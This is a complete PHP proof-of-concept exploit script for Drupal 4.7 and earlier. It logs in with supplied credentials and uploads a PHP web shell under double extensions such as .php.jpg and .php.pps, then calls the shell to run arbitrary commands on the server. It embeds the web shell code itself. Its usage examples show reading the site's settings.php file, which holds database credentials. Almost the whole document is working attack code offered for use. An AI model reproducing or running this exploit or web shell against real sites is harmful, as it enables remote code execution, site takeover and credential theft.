#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Drupal <= 4.7 attachment mod_mime poc exploit\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n\r\n";

/*

this works with a user account with upload rights and with permissions to modify

stories, however this is only a poc, you can do the same uploading an attachment

through any module, like this, with double extension, through all modules:

attach.php.pps

with this content:

*/

$shell=

'<?php

if (get_magic_quotes_gpc()){$_GET[cmd]=stripslashes($_GET[cmd]);}

ini_set("max_execution_time",0);

echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);

passthru($_GET[cmd]);

echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);

?>';

/*

then:

http://[target]/[path]/files/attach.php.pps?cmd=ls%20-la

also, I noticed that from an admin account you can upload .php3 or .php5 files

*/

if ($argc<6) {

echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to Drupal\r\n";

echo "user-pass: valid credentials with upload rights\r\n";

echo "cmd: a shell command\r\n";

echo "Options:\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." localhost /drupal/ user password cat ./../sites/default/settings.php\r\n";

echo "php ".$argv[0]." localhost /drupal/ user password ls -la -p81\r\n";

echo "php ".$argv[0]." localhost / user password ls -la -P1.1.1.1:80\r\n";

die;

}

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

function make_seed()

{

list($usec, $sec) = explode(' ', microtime());

return (float) $sec + ((float) $usec * 100000);

}

$host=$argv[1];

$path=$argv[2];

$user=$argv[3];

$pass=$argv[4];

$cmd="";$port=80;$proxy="";

for ($i=5; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

srand(make_seed());

$anumber = rand(1,99999);

$data ="edit%5Bname%5D=".$user;

$data.="&edit%5Bpass%5D=".$pass;

$data.="&edit%5Bform_id%5D=user_login";

$data.="&op=Log%20in";

$packet="POST ".$path."?q=user/login&destination=node HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Accept-Encoding: gzip, deflate\r\n";

$packet.="Accept-Language: it\r\n";

$packet.="Referer: http://".$host.$path."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Connection: close\r\n\r\n";

$packet.=$data;

// echo quick_dump($packet);

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$temp2=explode(" ",$temp[2]);

$cookie=$temp2[0];

echo "\r\nCookie -> ".$cookie."\r\n\r\n";

$ext= array(".php.jpg",".php.jpeg",".php.gif", ".php.png",".php.txt",".php.html",".php.doc",".php.xls",".php.pdf",".php
.ppt",".php.pps");

for ($x=0; $x<=count($ext)-1;$x++)

{

echo "Trying with ".$ext[$x]." extension...\r\n";

$d=date("Y-m-d");

$data='-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[title]"

titolo

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[body]"

corpo

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[format]"

1

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[form_id]"

story_node_form

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[name]"

'.$user.'

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[date]"

'.$d.' 23:59:59 +0000

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[status]"

1

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[promote]"

1

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[comment]"

2

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[path]"

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[menu][title]"

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[menu][description]"

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[menu][pid]"

1

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[menu][path]"

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[menu][weight]"

0

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[menu][mid]"

0

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[menu][type]"

86

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[upload]"; filename="suntzu'.$anumber.$ext[$x].'"

Content-Type: image/jpeg

'.$shell.'

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="fileop"

Attach

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[fileop]"

http://'.$host.$path.'?q=upload/js

-----------------------------7d6381c1b00a2

Content-Disposition: form-data; name="edit[vid]"

-----------------------------7d6381c1b00a2--

';

$packet="POST ".$p."?q=upload/js HTTP/1.0\r\n";

$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6381c1b00a2\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Keep-Alive\r\n\r\n";

$packet.=$data;

//echo quick_dump($packet);

sendpacketii($packet);

$data='-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[title]"

titolo

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[body]"

corpo

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[format]"

1

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[form_id]"

story_node_form

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[name]"

'.$user.'

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[date]"

'.$d.' 23:59:59 +0000

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[status]"

1

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[promote]"

1

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[comment]"

2

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[path]"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[menu][title]"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[menu][description]"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[menu][pid]"

1

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[menu][path]"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[menu][weight]"

0

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[menu][mid]"

0

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[menu][type]"

86

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[files][upload_0][list]"

1

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[files][upload_0][description]"

hello.txt

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[upload]"; filename=""

Content-Type: image/jpeg

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[fileop]"

http://'.$host.$path.'?q=upload/js

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="edit[vid]"

-----------------------------7d6318101b00a2

Content-Disposition: form-data; name="op"

Submit

-----------------------------7d6318101b00a2--

';

$packet="POST ".$p."?q=node/add/story HTTP/1.0\r\n";

$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Keep-Alive\r\n\r\n";

$packet.=$data;

//echo quick_dump($packet);

sendpacketii($packet);

$packet ="GET ".$p."files/suntzu".$anumber.$ext[$x]."?cmd=".$cmd." HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

//echo quick_dump($packet);

sendpacketii($packet);

if (strstr($html,"*deli*"))

{echo "Exploit succeeded...\r\n";

$temp=explode("*deli*",$html);

die($temp[1]);

}

}

//if you are here...

echo "Exploit failed...";

?>

original url: http://retrogod.altervista.org/drupal_47_xpl.html

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